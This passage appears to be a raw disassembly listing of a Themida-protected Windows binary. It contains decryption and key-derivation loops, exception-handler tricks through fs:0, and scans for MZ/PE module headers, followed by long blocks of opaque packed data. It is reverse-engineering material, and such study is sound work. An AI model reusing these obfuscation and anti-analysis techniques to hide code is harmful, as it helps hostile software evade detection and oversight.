mov [ebx+7E03507h], eax
inc [ebp+arg_0]
inc ebx
jmp short loc_54FD59
; ---------------------------------------------------------------------------
loc_54FD78: ; CODE XREF: sub_54FD3D+2Aj
mov [ebp+var_24], eax
popa
mov eax, [ebp+var_24]
leave
retn 4
sub_54FD3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_54FD83 proc near ; CODE XREF: start+6FC8Bp start+6FC95p
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 7E035E6h
lea eax, [ebp+var_80]
mov ebx, [ebp+arg_0]
mov [ebp+var_84], 0
loc_54FDA9: ; CODE XREF: sub_54FD83+41j
mov ecx, [ebp+var_84]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp+var_84], ecx
cmp [ebp+var_84], 80h
jnz short loc_54FDA9
mov [ebp+var_84], 0
lea edi, [edx+7E03507h]
lea esi, [ebp+var_80]
loc_54FDD9: ; CODE XREF: sub_54FD83+83j
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
loc_54FDE5: ; CODE XREF: sub_54FD83+69j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_54FDE5
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp+var_84]
inc ecx
mov [ebp+var_84], ecx
cmp ecx, 80h
jnz short loc_54FDD9
popa
leave
retn 4
sub_54FD83 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_54FE23
; ---------------------------------------------------------------------------
loc_54FE1F: ; CODE XREF: Themida_:0054FE26j
inc dword ptr [ebp-4]
inc esi
loc_54FE23: ; CODE XREF: Themida_:0054FE1Dj
cmp byte ptr [esi], 0
jnz short loc_54FE1F
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_54FEB4
; ---------------------------------------------------------------------------
loc_54FE35: ; CODE XREF: Themida_:0054FEB7j
mov dword ptr [ebp-8], 0
jmp short loc_54FEAB
; ---------------------------------------------------------------------------
loc_54FE3E: ; CODE XREF: Themida_:0054FEAFj
mov dword ptr [ebp-10h], 0
mov dword ptr [ebp-0Ch], 0
jmp short loc_54FE98
; ---------------------------------------------------------------------------
loc_54FE4E: ; CODE XREF: Themida_:0054FE9Cj
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_54FE70
cmp bl, 39h
ja short loc_54FE70
sub bl, 30h
jmp short loc_54FE92
; ---------------------------------------------------------------------------
loc_54FE70: ; CODE XREF: Themida_:0054FE64j
; Themida_:0054FE69j
cmp bl, 61h
jb short loc_54FE82
cmp bl, 66h
ja short loc_54FE82
sub bl, 61h
add bl, 0Ah
jmp short loc_54FE92
; ---------------------------------------------------------------------------
loc_54FE82: ; CODE XREF: Themida_:0054FE73j
; Themida_:0054FE78j
cmp bl, 41h
jb short loc_54FE92
cmp bl, 46h
ja short loc_54FE92
sub bl, 41h
add bl, 0Ah
loc_54FE92: ; CODE XREF: Themida_:0054FE6Ej
; Themida_:0054FE80j ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_54FE98: ; CODE XREF: Themida_:0054FE4Cj
cmp dword ptr [ebp-0Ch], 2
jb short loc_54FE4E
cmp dword ptr [ebp-10h], 0
jbe short loc_54FEA8
mov eax, [ebp-10h]
stosb
loc_54FEA8: ; CODE XREF: Themida_:0054FEA2j
inc dword ptr [ebp-8]
loc_54FEAB: ; CODE XREF: Themida_:0054FE3Cj
cmp dword ptr [ebp-8], 2
jb short loc_54FE3E
add edx, 4
loc_54FEB4: ; CODE XREF: Themida_:0054FE33j
cmp edx, [ebp-4]
jb loc_54FE35
mov al, 0
stosb
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_54FEC7: ; CODE XREF: start+6FC9Aj
mov ecx, 7000h
lea edi, [ebp+7E0372Ch]
loc_54FED2: ; CODE XREF: start+6FEC2j
dec byte ptr [edi]
inc edi
dec ecx
jnz short loc_54FED2
mov eax, 48692121h
mov edx, 0F00E0000h
sub edx, 0F0000000h
lea eax, [ebp+7E03812h]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
jnz loc_54FF0A
cmc
loc_54FF0A: ; CODE XREF: start+6FEEFj
mov ebx, 263EC816h
sub eax, edx
ja loc_54FF28
jmp loc_54FF28
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
dd 0C23DCB67h, 0D0D137B2h, 3E10365Dh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_54FF28: ; CODE XREF: start+6FEFDj start+6FF03j
and eax, 0FFFFF000h
mov bx, 51B3h
mov ecx, edx
xor edi, edi
loc_54FF35: ; CODE XREF: start+6FF3Cj
cmp word ptr [eax], 5A4Dh
jnz short loc_54FF4A
movzx edx, word ptr [eax+3Ch]
add edx, eax
cmp dword ptr [edx], 4550h
jz short loc_54FF52
loc_54FF4A: ; CODE XREF: start+6FF26j
sub eax, 1000h
inc edi
jmp short loc_54FF35
; ---------------------------------------------------------------------------
loc_54FF52: ; CODE XREF: start+6FF34j
pop large dword ptr fs:0
add esp, 4
lea edx, [ebp+7E03825h]
push edx
push large dword ptr fs:0
mov large fs:0, esp
add eax, ecx
sub eax, 1000h
mov esi, [eax+4]
and esi, 0FFFF0000h
cmp esi, 80000000h
jbe short loc_54FF8C
mov esi, [eax+1Ch]
loc_54FF8C: ; CODE XREF: start+6FF73j
xor eax, eax
loc_54FF8E: ; CODE XREF: start+6FF8Dj
cmp eax, 32h
jz short loc_54FFB2
cmp word ptr [esi], 5A4Dh
jz short loc_54FFA3
loc_54FF9A: ; CODE XREF: start+6FF9Cj
sub esi, 10000h
inc eax
jmp short loc_54FF8E
; ---------------------------------------------------------------------------
loc_54FFA3: ; CODE XREF: start+6FF84j
mov edi, [esi+3Ch]
add edi, esi
cmp dword ptr [edi], 4550h
jz short loc_54FFF4
jmp short loc_54FF9A
; ---------------------------------------------------------------------------
loc_54FFB2: ; CODE XREF: start+6FF7Dj
pop large dword ptr fs:0
add esp, 4
popa
retn
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
dw 8B51h
dd 8110244Ch, 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h, 0E8551024h
dd 0
aBa08rNeu7rIb db ']í08à',7,'…î7à',7,'‰¸',0
db 2 dup(0), 5Dh
dd 0C3C03359h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_54FFF4: ; CODE XREF: start+6FF9Aj
xchg eax, esi
pop large dword ptr fs:0
add esp, 4
push 0
push eax
call sub_55000A
and [eax-3Dh], bl
; END OF FUNCTION CHUNK FOR start
; =============== S U B R O U T I N E =======================================
sub_55000A proc near ; CODE XREF: start+6FFEEp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_55000A endp
; ---------------------------------------------------------------------------
dw 0DEB2h
dd 6ADFBF0Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 0A77AC353h, 14E95Ch, 9C9F0000h
dd 3CE014BFh, 63BEB273h, 17C4A772h, 3476E12Fh, 8C66C5DCh
dd 0D8B70FD9h, 8004E180h, 0C90A80F7h, 46850Fh, 11E90000h
dd 0F3000000h, 0B368BF00h, 0AA03B177h, 4EF5CE62h, 0EB620917h
dd 16B185C7h, 107E0h, 860F0000h, 5, 0C941EBBh, 23E95Eh
dd 0F88A0000h, 0FE9h, 0F7CAB500h, 0FD7E3D0Fh, 64333D02h
dd 0E99F6235h, 16B185C7h, 7E0h, 8B660000h, 18589D8h, 6607E02Fh
dd 893941BBh, 0E0292D85h, 0EE807h, 0E2FB0000h, 4FD60C4h
dd 3ADBCCE0h, 0B95100C5h, 0B45AC38Bh, 0EAC28182h, 0F8000063h
dd 23D04DBEh, 7FEE8168h, 666823B7h, 8B8600BBh, 81DD8A3Ah
dd 0F7929FEFh, 10E952h, 8B1F0000h, 0C49D562Ch, 0C0193F55h
dd 3183679Fh, 0EF8190E6h, 4A6455E3h, 0C2290BBBh, 93EF8107h
dd 0F8678A91h, 8FCB8B57h, 7E802h, 0AC3E0000h, 0A425CCEAh
dd 0BF0F60CEh, 5961FCD0h, 0F01EA83h, 68Dh, 5E38100h, 4A522DA0h
dd 81604A4Ah, 0C593ECDEh, 61D08B0Fh, 0F01EE83h, 0E85h
dd 1AE900h, 33610000h, 0F4C4B6E8h, 0B5EEE48Ch, 0FF7DE9F5h
dd 7CB9FFFFh, 0B5AEF67Dh, 0E7311246h, 21504EBh, 0C3E90000h
dd 60000006h, 89F0BF0Fh, 0E01C6D85h, 8D316107h, 7E0204Dh
dd 10E960h, 0C4FB0000h, 9D74A41Bh, 4652D2Ah, 3C7ABB08h
dd 0B849ADh, 29000000h, 0E00029BDh, 24548B07h, 14E928h
dd 70120000h, 0BD89A6B1h, 0D1C99A5Ah, 0ED889D72h, 5D870515h
dd 8589B153h, 7E02941h, 0C0816660h, 8D890B3Ah, 7E01AB9h
dd 3CBE61h, 800F0000h, 0Ch, 68A0Fh, 8A0F0000h, 0
dd 24247403h, 0C19D89h, 0AD6607E0h, 0C800Fh, 870F0000h
dd 6, 890Fh, 890F0000h, 7, 1810Fh, 3F50000h, 0F8242444h
dd 8860F50h, 0F000000h, 283h, 89616000h, 0B4602404h, 3995332Eh
dd 6107E006h, 8978408Bh, 0E01E2985h, 24440307h, 6870F28h
dd 89000000h, 0E01D818Dh, 18408B07h, 18D0Fh, 40F50000h
dd 2281B531h, 858907E0h, 7E039DEh, 14E9h, 0B0334900h, 0B7D08BD3h
dd 0CC3FE22Ch, 8C353668h, 1979E077h, 3D9D89EAh, 5807E02Bh
dd 1811B589h, 708B07E0h, 19830F78h, 0E9000000h, 14h, 6ED57299h
dd 1ED247C3h, 0B1C2E2C1h, 0A7E4F3E0h, 1AB31D96h, 0F1CC683h
dd 68Bh, 61606000h, 3615E53h, 0F242474h, 685h, 0D58D2900h
dd 8D07E020h, 0E0055DBDh, 0CE907h, 0EEF00000h, 64540A26h
dd 92D0C044h, 0FAD621Ah, 0A80h, 0BD096000h, 7E015A9h, 361C28Ah
dd 89242444h, 0E02A018Dh, 14E9AB07h, 1E000000h, 372B4B04h
dd 176883D0h, 0F40694B3h, 82B07C96h, 8D697400h, 0E01559BDh
dd 0AE907h, 0A34D0000h, 2C2BE260h, 49245FF6h, 6870FADh
dd 29000000h, 0E0155595h, 24440307h, 0CD950124h, 5007E013h
dd 9E9h, 42022000h, 0E60E7BC3h, 4891067h, 0EE924h, 82CC0000h
dd 66BE3F04h, 0F022BD61h, 5A8D3A53h, 0BD8DF8ABh, 7E01ACDh
dd 60FA8B60h, 0E8C38B66h, 12h, 63C403CBh, 4C4F9870h, 0AE1FC84Eh
dd 0DEDF0BCh, 615EB592h, 79BD0961h, 0AD07E028h, 6E9h, 0ECEACC00h
dd 3012AD9h, 0E9282444h, 0Eh, 0CDEDB0CDh, 7EF96CDCh, 0D605DA81h
dd 0F9AB240Bh, 8166605Eh, 96140E1h, 0E02065BDh, 8DFF6107h
dd 7E039DEh, 39DEBD83h, 750007E0h, 2444C710h, 1Ch, 0B2B58D00h
dd 0FF07E03Eh, 3AD56E6h, 97282444h, 858ADF8Bh, 7E00759h
dd 474C084h, 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh
dd 0D18B49C9h, 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h
dd 0D166EBD1h, 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh
dd 0D333C833h, 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h
dd 0F74D03Bh, 4C6835Eh, 294185FFh, 6FE907E0h, 5EFFFFFFh
dd 13E9h, 3AAEF500h, 6216C0DAh, 0BC2FFC02h, 0A6E01EE3h
dd 37FB4C4Ah, 865B589h, 858B07E0h, 7E02941h, 17299D89h
dd 0E0D107E0h, 19CD9D01h, 850307E0h, 7E01ACDh, 658D2960h
dd 0F07E025h, 686h, 299D8900h, 6107E021h, 0BEh, 1850F00h
dd 0FC000000h, 0AD66F596h, 605B5360h, 840Fh, 14E90000h
dd 2A000000h, 429AED57h, 0A208756Bh, 0D4B2211Ch, 4CAB04FEh
dd 613F1D6Ah, 2E0C161h, 6B4DBF60h, 0B8663AB7h, 36148CDh
dd 0E0055D85h, 0FE907h, 609B0000h, 3B64696Ah, 30D21911h
dd 93077956h, 8E99698h, 93000000h, 46C84F54h, 0ADC1438Fh
dd 7E58501h, 4C8B07E0h, 0E9FC2424h, 13h, 6AE6DB18h, 45FB4AFFh
dd 7F8693F5h, 2EB586B9h, 3470ACBh, 1242444h, 0E02D2DBDh
dd 24448907h, 399D891Ch, 9607E013h, 9D896060h, 7E006A5h
dd 6173D380h, 6890Fh, 820F0000h, 0
dd 8B0FAC61h, 7, 0E1816660h, 3261A8DAh, 13E9C9h, 3ACB0000h
dd 0E07CE6D5h, 6FE714D4h, 0E63DC716h, 0D64AB054h, 0FC1FEE2h
dd 0B80h, 6E900h, 0D8510000h, 7FDE250Eh, 830FD0D0h, 92h
dd 4719D89h, 0D0D007E0h, 84830Fh, 0D0F80000h, 7B820FD0h
dd 0F5000000h, 820FD0D0h, 72h, 0FC9FEF8h, 0FFFFCF89h, 6810FFFh
dd 1000000h, 0E0239595h, 0C483F807h, 0E9958920h, 0C707E01Ch
dd 0FC2444h, 60000000h, 89FE8B66h, 0E021AD8Dh, 1B86107h
dd 0E9000000h, 9, 5FF71A49h, 123CF1BFh, 8D8D8DFFh, 0F07E074h
dd 198Bh, 14E900h, 0D8570000h, 0FD047864h, 5F634140h, 26A6044Bh
dd 39180C72h, 0E1FF6988h, 1BE19D29h, 85C607E0h, 7E00759h
dd 11890F00h, 60000000h, 8E9FA8Ah, 0C0000000h, 1421A6D9h
dd 614731F2h, 0B58B6061h, 7E026B1h, 6E9h, 9767F300h, 613AE209h
dd 0E90008C2h, 10h, 0E5B83A74h, 5F971D92h, 4F29FF1Fh, 12A63857h
dd 5E950h, 4E870000h, 8983B611h, 7E92434h, 0C8000000h
dd 53E6F253h, 0B5895C50h, 7E04069h, 819D3360h, 6607E026h
dd 8961C68Bh, 0E040878Dh, 0C68B6007h, 0F8BF0F53h, 0B58D615Ah
dd 7E03F79h, 55BD2B60h, 6607E013h, 0C3C0E381h, 0A1858D61h
dd 0F005B8Eh, 0B85h, 8B666000h, 800FF7h, 61000000h, 8B60D0FFh
dd 0E001498Dh, 79B58907h, 6107E014h, 0DD9D895Eh, 0C307E016h
dd 69B58BFCh, 0FC07E040h, 40878D8Bh, 5E907E0h, 96000000h
dd 7E8EA30h, 18619531h, 0C02B07E0h, 201BD89h, 0D98B07E0h
dd 33AD9D31h, 89E907E0h, 0F9000000h, 0B5312632h, 7E03445h
dd 6E902B2h, 43000000h, 0AE7559F3h, 4DE9BAh, 32F90000h
dd 6870FC2h, 29000000h, 0E01A21BDh, 1D7A0507h, 8A0F8A75h
dd 1, 0F8CC8AF8h, 0FC8D3F9h, 188Dh, 13E900h, 0CD8B0000h
dd 752AB5BAh, 2D35B1B1h, 2366A036h, 1E017CBDh, 8423576h
dd 0B52998D1h, 7E01E31h, 0AF8CAFEh, 0AC850FD2h, 0E9FFFFFFh
dd 0Fh, 2BD75A78h, 3BF5FD43h, 7080F5A0h, 4BA498BFh, 0F9F546F5h
dd 850FDB0Bh, 0FFFFFF70h, 0FE9h, 85D5D300h, 17A2E588h
dd 5A4BF58Dh, 0CD2151D8h, 13E9CFh, 0D5DD0000h, 0D8A3C5EFh
dd 73A36620h, 36B68AEBh, 79C8D8BBh, 0F0000F1h, 0E87h, 9E900h
dd 6D5B0000h, 61A1BB25h, 3779A6h, 318D8900h, 7E01Eh, 6830F00h
dd 1000000h, 0E02F4D95h, 0E9000007h, 0Eh, 0EEFDF228h, 0C0843B09h
dd 807D810h, 858DD6C4h, 7E039F8h, 0FE9h, 482FA800h, 0BEA89317h
dd 96847119h, 8678E8Ch, 20018589h, 8DF807E0h, 0E03EFC85h
dd 0D890F07h, 60000000h, 98D08166h, 0B59D8974h, 6107E02Dh
dd 326D8589h, 7E807E0h, 42000000h, 6CB58C53h, 59FC2640h
dd 0CE8h, 51EDAC00h, 0D60104FCh, 3BBBA7AFh, 1D958BBEh
dd 5A07E01Dh, 6C2CC181h, 0BE90000h, 0A0000000h, 8080E576h
dd 0AB84B4D5h, 0D368B4CCh, 0F00001Ah, 82h, 6E95800h, 0EB000000h
dd 772531C0h, 0F31FF03h, 689h, 9858900h, 5B07E012h, 0EA77F381h
dd 0BD8B7D24h, 7E01AC9h, 1E20EB81h, 858933C1h, 7E005A5h
dd 960FEB81h, 958B479Ch, 7E033E9h, 68B0F53h, 0F000000h
dd 82h, 83018F00h, 7E904E9h, 0B4000000h, 73D81CABh, 0E881FC8Eh
dd 1, 16850Fh, 0BE660000h, 30E971D2h, 98000000h, 0E8199737h
dd 0AD011D2Ch, 55610E3Ch, 13E9h, 182B9E00h, 16E7650Eh
dd 0FEC1620Fh, 41CA276Fh, 8501C5C5h, 0FFFF70E9h, 57E343FFh
dd 0EB0CEA6Ch, 14h, 3 dup(0)
dd 8C00h, 0A1858D00h, 8907E042h, 0E010DD85h, 0E1BD8307h
dd 7E041h, 12C840Fh, 85C60000h, 7E00759h, 62FA6856h, 3481F13Fh
dd 200FC324h, 1B5FF25h, 8D07E02Fh, 0E039F885h, 89D0FF07h
dd 0E041D585h, 5985C607h, 5607E007h, 0C5204768h, 24048169h
dd 32E3980Bh, 2F01B5FFh, 858D07E0h, 7E039F8h, 8589D0FFh
dd 7E041D9h, 4E8046Ah, 0
dd 50000010h, 424448Bh, 4489008Bh, 8B580424h, 0E041E585h
dd 1F40507h, 0E0C10000h, 4895002h, 0FF006A24h, 0E041D995h
dd 0DD858907h, 8B07E041h, 0FFFFB8D8h, 95FFFFFFh, 7E010DDh
dd 95FFC38Bh, 7E010DDh, 8DE9h, 0E1BD8300h, 7E041h, 1850Fh
dd 57C30000h, 41DDBD8Bh, 83AB07E0h, 0E041DD85h, 0C35F0407h
dd 41E1BD83h, 0F0007E0h, 185h, 8360C300h, 0E041DDADh, 9D8B0407h
dd 7E041DDh, 0FFFC7B83h, 26850Fh, 4E80000h, 0
dd 50000080h, 424448Bh, 4489008Bh, 6A580424h, 0FF33FF00h
dd 0E041D595h, 0E9C36107h, 1Dh, 0A93C1C68h, 24048183h
dd 7C5743E4h, 33FF006Ah, 41D595FFh, 0AD8307E0h, 7E041DDh
dd 0FFA8E904h, 0E948FFFFh, 1ADh, 24748B60h, 247C8B24h
dd 80B2FC28h, 8846068Ah, 2BB4707h, 2000000h, 5850FD2h
dd 8A000000h, 0D2124616h, 0FFE2830Fh, 0D202FFFFh, 5850Fh
dd 168A0000h, 0FD21246h, 6A83h, 2C03300h, 5850FD2h, 8A000000h
dd 0D2124616h, 12A830Fh, 0D2020000h, 5850Fh, 168A0000h
dd 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h, 850FD202h
dd 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h
dd 840FC013h, 6, 8AF82B57h, 7885F07h, 2BB47h, 70E90000h
dd 0B8FFFFFFh, 1, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h
dd 8A000000h, 0D2124616h, 0FFDE820Fh, 0C32BFFFFh, 1BBh
dd 34850F00h, 0B9000000h, 1, 850FD202h, 5, 1246168Ah, 2C913D2h
dd 5850FD2h, 8A000000h, 0D2124616h, 0FFDE820Fh, 8B56FFFFh
dd 0F3F52BF7h, 8E95EA4h, 48FFFFFFh, 8A08E0C1h, 0E88B4606h
dd 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h
dd 5, 1246168Ah, 0DE820FD2h, 3DFFFFFFh, 7D00h, 22830Fh
dd 3D0000h, 0F000005h, 0E82h, 8B564100h, 0F3F02BF7h, 0B4E95EA4h
dd 83FFFFFEh, 870F7FF8h, 3, 5602C183h, 0F02BF78Bh, 0E95EA4F3h
dd 0FFFFFE9Bh, 3346068Ah, 1E8C0C9h, 17840Fh, 0D1830000h
dd 56E88B02h, 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h, 247C2BFFh
dd 247C8928h, 8C2611Ch, 929BA00h, 0D3E90000h, 73000009h
dd 1ACB061h, 0F14B2CD0h, 0D15297AEh, 0A9B75D3Dh, 0BC571780h
dd 67664828h, 75732260h, 2EE96E6Eh, 0AA1B047h, 0E3432092h
dd 0C001C5B9h, 0A6F25A2Fh, 0CC3478CBh, 7A724222h, 75212E61h
dd 21EF6C6Eh, 10A1B044h, 0F95E3F92h, 0DC1FC5A6h, 0B2E54131h
dd 0F85713C5h, 7A76556Eh, 74736370h, 35EF7920h, 16B8B052h
dd 0F75E3EDDh, 0CBA6h, 62h dup(0)
dd 73000000h, 0BA5B061h, 0F95830DCh, 0CB02C5B9h, 0AAE54933h
dd 0FD515288h, 6C71073Dh, 66216C61h, 24EE756Fh, 0ABDE200h
dd 0F14230DCh, 991C8CEBh, 0B9E24125h, 0EF4001C5h, 277E423Ah
dd 6C510F0Eh, 25F36165h, 0ABDB00Ch, 0F24D36DEh, 99068CEBh
dd 0A6F85C3Ah, 0F15C1FC5h, 296A5521h, 20656C65h, 34F36572h
dd 44BCE241h, 0E45936CBh, 0D60095EBh, 0A6F65C3Bh, 0CBh
dd 47h dup(0)
dd 73000000h, 16ABB061h, 0F3473AD3h, 9901C2B9h, 0A7F84128h
dd 0EF581AC5h, 6C76456Eh, 6F67226Ah, 60E46E75h, 0AA6E552h
dd 0B64B37DBh, 0C0528BA2h, 0EBE55B33h, 0E84A0B96h, 33D4A2Bh
dd 656D5209h, 6CE57361h, 8A6E500h, 0B64838DDh, 0DF5291A2h
dd 0EBFA412Eh, 0F3541788h, 68335E3Ch, 7221666Ah, 21F47365h
dd 1DE8E452h, 0B65E2CDDh, 0DE1D97BBh, 0E5FA4F2Eh, 61h dup(0)
dd 73000000h, 1A4F966h, 0E4433A92h, 0CD0290B9h, 0E5B64A39h
dd 0F55126C5h, 7B63073Dh, 6173656Bh, 21E8206Dh, 1AAB053h
dd 0FB0C37D7h, 0C91B8BAAh, 0BFF64229h, 0FD191680h, 64334320h
dd 65637B65h, 34E90D0Ah, 0DE8E307h, 0F5493FDCh, 991680BFh
dd 0AAB7573Eh, 0EE5024C5h, 6633543Bh, 72622276h, 25EB6361h
dd 30E8BE44h, 0B65F30DAh, 0DC1E8CADh, 0A5F8597Ch, 0EB1906C2h
dd 29785521h, 6D786C65h, 6EE5726Fh, 0E0h dup(0)
dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8 dup(0)
dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
dd 31E90000h, 6A00002Fh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 3A17C351h, 9D8B1379h
dd 7E02E25h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1704h, 0C3564600h, 711B1F9Bh, 79D8589h, 0C08B07E0h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 72C35343h
dd 0B5896D8Eh, 7E02015h, 6B1BD83h, 750007E0h, 0C5BD8309h
dd 7E001h, 53501374h, 1B8C08Bh, 8D000000h, 0E2BB049Dh
dd 5BD3FF07h, 0C5BD8358h, 7E001h, 53501174h, 1B8h, 0B59D8D00h
dd 0FF07E2B9h, 0F9585BD3h, 1405B529h, 0C08B07E0h, 1C759D33h
dd 0BD8307E0h, 7E02DB1h, 0D5840F00h, 23000001h, 0E0252D9Dh
dd 6DBD8307h, 7E016h, 1C2840Fh, 95890000h, 7E01B89h, 6870F60h
dd 8B000000h, 0E023F995h, 5D9D8907h, 8B07E030h, 0E0166D85h
dd 958B5307h, 7E02F81h, 6BBA665Bh, 3E805EDh, 0BF0F0000h
dd 61B509D8h, 9007E02Ah, 0FEBA6650h, 820F9030h, 6, 2E3D8D89h
dd 858D07E0h, 7E04EA5h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 0C0C35040h, 659D8B93h, 9007E019h, 0AE9h
dd 0DA900900h, 0EBD2A22Eh, 50AD972Bh, 60525052h, 8B310F61h
dd 5A585ADAh, 858DF590h, 7E04E83h, 606090F5h, 0BE9h, 0F7B75100h
dd 3A0662F2h, 0E15F99C2h, 10E9h, 5FB74900h, 99CD587Fh
dd 0CDC4D5D0h, 2C2E3CCDh, 810F61EBh, 2, 50615F50h, 53006A90h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 6F5EB301h, 0BB66A787h, 0D58A224Ah, 188195FFh, 6A07E0h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 0BE7238C3h, 0D08B5223h, 0B1EA815Bh, 831D6895h, 6A0CC4h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 0C52210C3h, 8DD88B66h, 0E04E8385h, 35952907h, 9007E024h
dd 0FE8h, 4446800h, 0F046B389h, 0DE5B5F7h, 0FB29B31Ah
dd 11E8h, 2F2A8700h, 19BFF7FAh, 6591CD40h, 2E28B5B0h, 11E91AC0h
dd 0E0000000h, 18BC9634h, 0EB9D67C9h, 0D7F44D8Ch, 6191B1D5h
dd 0F505A5Bh, 58Eh, 8539BB00h, 8B903286h, 29026AD3h, 0E0331DB5h
dd 0CDBD8907h, 0FF07E019h, 6AED1495h, 952B6100h, 7E023C1h
dd 4EB685C7h, 107E0h, 0BA520000h, 719FBF07h, 880F505Bh
dd 2, 3489F18Ah, 85895124h, 7E0316Dh, 67B5895Ah, 6A07E04Eh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 277DC357h, 14E9A2A8h, 1F000000h, 5696BE6Fh
dd 6B5ED7D7h, 78AC9441h, 0E9EC1ABCh, 0FF2FA90h, 68Fh, 0B1BD8900h
dd 8307E028h, 0E016B1BDh, 850F0107h, 4Bh, 10E9h, 3EAE3100h
dd 438DED70h, 64F45C7Fh, 0C4C406E4h, 5F883D2h, 2D850Fh
dd 81660000h, 0B814F5DBh, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 85C35343h
dd 0F4BF3C4Ch, 83B422D9h, 0E005ADBDh, 840F0007h, 61h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 80C35646h, 0C97D21E1h
dd 460C40D2h, 8960D88Bh, 0E007759Dh, 0AD95FF07h, 6A07E005h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 0A2E2C353h, 76853BEh, 215A2A18h, 1F5958Bh
dd 0B66107E0h, 5BD83E3h, 7E001h, 2B840Fh, 0F88A0000h, 0B8h
dd 11E800h, 599E0000h, 0B3C6B7EAh, 3E092B15h, 2F34F7B9h
dd 8005C8A4h, 575B3AF6h, 5BD8950h, 5B07E013h, 9D8B605Ah
dd 7E03481h, 8BE7CF80h, 0E0203985h, 85E28007h, 6A02C083h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 4E13C350h, 742BEA45h, 858909B7h, 7E04E5Fh
dd 0CE8h, 0EA722C00h, 8B4FAD12h, 1AEDD77Ch, 0C65B93h, 79B589FFh
dd 0C607E021h, 0E0075985h, 880F5307h, 5, 0A55BFBBBh, 0D88B6604h
dd 4E8h, 0B148D800h, 0EABA66FCh, 0BA6650E8h, 448B7008h
dd 0D1BB0424h, 8B7C50C3h, 5BA6600h, 244489F7h, 7C4CBB04h
dd 6A587C32h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 6B2CC350h, 0F5C9A2AFh, 292DB5FFh
dd 0BD8907E0h, 7E02D2Dh, 7FE8858Dh, 6A07E3h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 6E9D10C3h
dd 0F00233Bh, 6AD0FFACh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 88F5C357h, 8B72D8F5h
dd 0E016359Dh, 0A9858907h, 6A07E018h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 2CD0C357h
dd 0F0634425h, 0DA8166CAh, 0BD83459Ah, 7E033EDh, 0F0850F01h
dd 60000000h, 0BE9h, 944ADE00h, 791C9A1Fh, 9B46CC1Dh, 13E96161h
dd 3A000000h, 0FAB657Ah, 1F436DA1h, 49BFA773h, 8BD3B033h
dd 85C6B7D0h, 7E00759h, 41958B45h, 0E807E02Eh, 4, 0DA6038C2h
dd 50D88B66h, 810Fh, 448B0000h, 8B0424h, 9750DABBh, 2444896Bh
dd 8FBB6604h, 6A5805h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 0B53161C3h, 7E0188Dh, 292DB5FFh
dd 0FE907E0h, 0F2000000h, 0DB564207h, 724615F4h, 365B376Ch
dd 858D3756h, 7E37FE8h, 0D0FF0EB7h, 30B1958Bh, 6A07E0h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9CC35141h
